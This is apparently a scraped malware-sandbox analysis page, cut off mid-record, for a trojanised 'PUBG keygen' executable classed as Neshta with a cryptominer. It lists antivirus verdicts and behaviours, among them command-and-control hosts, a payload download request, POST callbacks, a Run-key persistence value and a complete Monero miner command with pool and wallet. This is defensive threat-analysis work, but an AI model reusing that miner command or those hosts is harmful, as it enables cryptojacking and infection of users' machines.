A/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3////d3f///93f/AAAA/3d////3d3////d3/wAAAP93f///93d////3d/8AAAD/d3d3d3d3d3d3d3f/AAAA/3d3d3d3d3d3d3d3/wAAAP93d3d3d3d3d3d3d/8AAAD///+Hd3d3d3d4////AAAA///3d3d3d3d3d3///wAAD//4d3d3d3d3d3d3j//wAP//d3d3d3eId3d3d3f//w///4d3d3d3/3d3d3d4///w////93d3f//3d3eP////AAAP///4d3//93eP///wAAAAAAD///////////8AAAAAAAAAAP///wD///8AAAAADgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAHwAAAA4AAAAEAAAAAgAAAAfAAAA/+AAB//4GB/w==1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790432530019,"unified_at":"2026-09-26T14:22:10.019Z","metadata":{"hashes":{"sha256":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c","sha1":"1de75051e2cf8d24ad797ba28387f7d7d3251d94","md5":"d2284ea2f711746a55811c4f21792cd4","sha512":"0eb33d746a0be3745d86c45f9dec66dc3b9ec7f01dde49e68509b5f5d71d978d2780a2ade9a934f73300f2a0934f47c3a6af69b999699cd1ce19854f8fe016d7","ssdeep":"24576:EwU782I2Jt8N1WKjeBEmwfIby+iQrIN9b3:EwP+6XWTBgwE","ssdeep_chunks":["24576:EwU782I","24576:wU782I2","24576:U782I2J","24576:782I2Jt","24576:82I2Jt8","24576:2I2Jt8N","24576:I2Jt8N1","24576:2Jt8N1W","24576:Jt8N1WK","24576:t8N1WKj","24576:8N1WKje","24576:N1WKjeB","24576:1WKjeBE","24576:WKjeBEm","24576:KjeBEmw","24576:jeBEmwf","24576:eBEmwfI","24576:BEmwfIb","24576:EmwfIby","24576:mwfIby+","24576:wfIby+i","24576:fIby+iQ","24576:Iby+iQr","24576:by+iQrI","24576:y+iQrIN","24576:+iQrIN9","24576:iQrIN9b","24576:QrIN9b3","49152:EwU782I","49152:wU782I2","49152:U782I2J","49152:782I2Jt","49152:82I2Jt8","49152:2I2Jt8N","49152:I2Jt8N1","49152:2Jt8N1W","49152:Jt8N1WK","49152:t8N1WKj","49152:8N1WKje","49152:N1WKjeB","49152:1WKjeBE","49152:WKjeBEm","49152:KjeBEmw","49152:jeBEmwf","49152:eBEmwfI","49152:BEmwfIb","49152:EmwfIby","49152:mwfIby+","49152:wfIby+i","49152:fIby+iQ","49152:Iby+iQr","49152:by+iQrI","49152:y+iQrIN","49152:+iQrIN9","49152:iQrIN9b","49152:QrIN9b3","24576:EwP+6XW","24576:wP+6XWT","24576:P+6XWTB","24576:+6XWTBg","24576:6XWTBgw","24576:XWTBgwE"],"imphash":"9f4693fc0c511135129493f2161d1e86"},"file_info":{"file_name":"pubg-keygen Oct. 2017 by robozak.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":1037666,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1508249171000,"last_seen":1678945497000,"last_multi_scan":1678945497000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["apt","miner","pua"]},"stats":{"av":{"malicious_count":25,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":28,"suspicious_count":19,"malicious_count":14,"total":61},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Neshta.tn9H","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Win32/Neshta","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Virus/Win32.Neshta.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W32/Delf.I","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Win32.Neshta.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Neshuta-1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Win32.Neshta.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Neshta.OBIX-2981","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Win32.Neshta.A (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Neshta.A virus","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Virus/Neshta.a@U","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Virus ( 00556e571 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Neshta.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W32/Generic.t.c","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Winlock.fmobyw","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_98","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"W32/Neshta-D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Virus/W32.Neshta","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"PE_NESHTA.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"PE_NESHTA.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Win32.Delf.FE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Neshta.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Virus.Neshta.Win32.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Neshta.A","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".text\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".data\" is zero\n Raw size of \".pdata\" is zero\n Raw size of \".vmp0\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"$24","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 5582-3128-0108F081\n GetVersionExW@KERNEL32.dll at 5582-3737-0106A99E","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetUserDefaultUILanguage@KERNEL32.dll at 5582-2899-0103A676","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"$25","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.dll at 5582-2059-01032F4D\n GetProcessHeap@KERNEL32.dll at 5582-2060-01032E0F\n GetProcessHeap@KERNEL32.dll at 5582-4157-010BA2B3\n GetProcessHeap@KERNEL32.dll at 5582-4158-010BA2D8","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$26","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"efg01.ru\"\n \"efg01.ru:9990\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"146.185.253.127:9990\"\n \"94.242.240.198:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"\n \"certutil.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"$27","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\MutexPolesskayaGlush*.*svchost.comexefile\\shell\\open\\command \"%1\" %*@\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"MutexPolesskayaGlush*.*svchost.comexefile\\shell\\open\\command \"%1\" %*@\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\MutexPolesskayaGlush*.*svchost.comnX.tNth`T5@\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"certutil.exe\" as clean (type is \"PE32 executable (console) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"install.vbs\" as clean (type is \"ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /min1.exe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0\nHost: 94.242.240.198\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"iexplore.exe\" (UID: 00025645-00001780)\n Launches browser \"iexplore.exe\" (UID: 00025740-00003424)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"Ld9D50.tmp\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 6F6B0000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 67CC0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$28","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"explorer.exe\" searching for class \"Shell_TrayWnd\"\n \"Ld9D50.tmp\" searching for class \"EDIT\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$29","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"GetUserNameExW@Secur32.dll at 5582-1365-010C054A\n LookupAccountNameW@ADVAPI32.dll at 5582-3187-01088DFB","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$2a","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2b","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"exeBase.My\"\n Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\"\n Heuristic match: \"efg01.ru\"\n Pattern match: \"http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en\"\n Pattern match: \"https://machine*\"\n Pattern match: \"https://foo\"\n Pattern match: \"ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en\"\n Pattern match: \"http://%1/CertEnroll/%3%8%9.crl\"\n Pattern match: \"https://%1/CertEnroll/nsrev_%3.asp\"\n Heuristic match: \"WMP11.AssocFile.AU\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"$2c","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe.bin\" was detected as \"Borland Delphi 4.0\"\n \"stub.exe\" was detected as \"Borland Delphi 4.0\"\n \"svchost.com\" was detected as \"Borland Delphi 4.0\"\n \"ose00002.exe\" was detected as \"Borland Delphi 4.0\"\n \"stub.exe\" was detected as \"Borland Delphi 3.0 (???)\"\n \"crypted.EXE\" was detected as \"Borland Delphi 4.0\"\n \"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"3BDECB~1.EXE\" was detected as \"Borland Delphi 4.0\"\n \"RATEME~1.EXE\" was detected as \"Borland Delphi 4.0\"\n \"certutil.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"setup.exe\" was detected as \"Borland Delphi 4.0\"\n \"DW20.EXE\" was detected as \"Borland Delphi 4.0\"\n \"dwtrig20.exe\" was detected as \"Borland Delphi 4.0\"\n \"RateMeApp.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"ose00000.exe\" was detected as \"Borland Delphi 4.0\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"informative","category":"Unusual Characteristics","name":"Uses certutil from the Windows Certificate Services","description":"Process \"certutil.exe\" (UID: 00015498-00003648)","origin":"Monitored Target","relevance":10,"id":"target-60","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".vmp1 with unusual entropies 7.97216702275","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a reference to the Stratum Mining Protocol","description":"\"%programdata%\\sysmin\\winupdate.exe -o stratum+tcp://xmr-eu2.nanopool.org:14444 -u 44qXAMRWM7BJkJDY7k5Ldb5afX61SV1wbY6MmcKK2gLmKaVW8gNDQUxcS7Y6R3jVzDj2W5jR4kJTqZRFWt8WUudhNDj4o8K -p x -t 2 -dbg -1\" (Indicator: \"stratum+tcp://\"; File: \"start.bat\")","origin":"File/Memory","relevance":10,"id":"string-54","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"VBOXNP: DLL unloaded.\" (Indicator: \"vbox\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"explorer.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"iexplore.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"WmiPrvSE.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")\n \"iexplore.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile\" (SID: 2019714, Rev: 8, Severity: 2) categorized as \"Potentially Bad Traffic\" (Phishing, Exploit Kits)\n Detected alert \"ET INFO SUSPICIOUS Dotted Quad Host MZ Response\" (SID: 2021076, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/64 reputation engines marked \"http://efg01.ru\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.dll at 5582-3799-0106E49E","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /gx/order.php HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0\nContent-Length: 74485\nHost: efg01.ru:9990\" with no payload\n \"POST /gx/order.php HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0\nContent-Length: 88\nHost: efg01.ru:9990\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"$2d","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"crypted.EXE\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"crypted.EXE\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP0\"; Value: \"rundll32.exe %WINDIR%\\system32\\advpack.dll,DelNodeRunDLL32 \"%TEMP%\\IXP000.TMP\\\"\")\n \"stub.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ACROUPD\"; Value: \"%APPDATA%\\8FwnL93i2WatSCZ7MJKJpgy7bmTR.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$2e","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"svchost.com\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"stub.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"stub.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"stub.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"Ld9D50.tmp\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"Ld9D50.tmp\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"stub.exe\" claimed CRC 0 while the actual is CRC 1100117\n \"svchost.com\" claimed CRC 1100117 while the actual is CRC 108120\n \"ose00002.exe\" claimed CRC 1100117 while the actual is CRC 49743\n \"crypted.EXE\" claimed CRC 1100117 while the actual is CRC 73490\n \"3BDECB~1.EXE\" claimed CRC 1100117 while the actual is CRC 1058188\n \"RATEME~1.EXE\" claimed CRC 1100117 while the actual is CRC 1057571\n \"certutil.exe\" claimed CRC 903416 while the actual is CRC 181581\n \"setup.exe\" claimed CRC 1100117 while the actual is CRC 2598111\n \"DW20.EXE\" claimed CRC 1100117 